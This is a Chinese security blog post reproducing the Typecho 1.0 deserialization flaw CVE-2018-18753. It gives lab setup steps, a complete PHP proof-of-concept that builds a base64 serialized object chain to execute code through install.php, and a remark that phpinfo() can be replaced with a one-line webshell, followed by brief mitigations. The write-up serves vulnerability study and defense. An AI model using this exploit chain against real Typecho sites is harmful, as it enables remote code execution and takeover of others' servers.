freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Typecho反序列化漏洞(CVE-2018-18753)
小呆呀 2023-03-05 16:09:27 226314
所属地 湖南省

0x01 安装好环境:

1.从https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release下载好安装包
图片.png

2.将我们下载好的文件放到我们的PHP_study网站根目录中,当然啦其他集成环境也可以。==注意这里PHP版本为5.4.45的版本==

3.直接在浏览器中输入localhost/typecho安装就行,当然如果报错的话那么我们先新建一个typecho的数据库。

图片.png

图片.png

然后我们可以很清楚的看到typecho已经成功安装了。那么我们再次打开这个软件,localhost/typecho

0x02漏洞复现:

1.我们很清楚的知道,这版本中它的installl.php中文件存在反序列化漏洞。

2.编写poc.php文件

<?php
class Typecho_Feed 
{ 
	const RSS1 = 'RSS 1.0'; 
	const RSS2 = 'RSS 2.0'; 
	const ATOM1 = 'ATOM 1.0'; 
	const DATE_RFC822 = 'r'; 
	const DATE_W3CDTF = 'c'; 
	const EOL = "\n"; 
	private $_type; 
	private $_items; 
	
	public function __construct(){
    $this->_type = $this::RSS2; 
    $this->_items[0] = array( 
    	'title' => '1', 
    	'link' => '1', 
    	'date' => 1508895132, 
    	'category' => array(new Typecho_Request()), 
    	'author' => new Typecho_Request(), 
    	); 
  	} 
} 
class Typecho_Request 
{ 
	private $_params = array(); 
	private $_filter = array(); 
	public function __construct(){ 
	$this->_params['screenName'] = 'phpinfo()';    
	$this->_filter[0] = 'assert'; 
	} 
} 
 
$exp = array( 
	'adapter' => new Typecho_Feed(), 
	'prefix' => 'typecho_' 
); 
 
echo base64_encode(serialize($exp));
?>

2.在编译器中将这串代码运行出来,得到payload
图片.png

3.查看install.php中的代码,初步代码审计一下。

图片.png

查看到这里反序列化中,经过了base64的解码,而这个接收的字段是==__typecho_config==

4.再来分析之前的poc.php输出的一串字符
图片.png

我们用在线解码软件将其解码出来,看到解码的结果我们不难猜到这是序列化之后的结果。而这其中仔细观察出现了==phpinfo==这个字段。

我们回头看之前的代码

图片.png

这里存在phpinfo()我们如果想要在这里深度利用的话。可以改一下参数。改成一句话木马呀啥的都都可以

5.利用,当然啦,这里我们也可以通过BP抓包来实现。

图片.png

0x03漏洞修复和防御方法

1.升级版本,这是最快捷的方法

2.黑白名单限制

3.waf

4.尽量不要让unserialize函数中的参数可控

# 网络安全 # web安全 # 漏洞复现
本文为 小呆呀 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
漏洞复现
小呆呀 LV.3
愿做网络的守护者
  • 6 文章数
  • 6 关注者
CSV注入漏洞
2023-04-18
phpmyadmin提权:
2023-03-21
upload-labs_通关tips
2023-03-19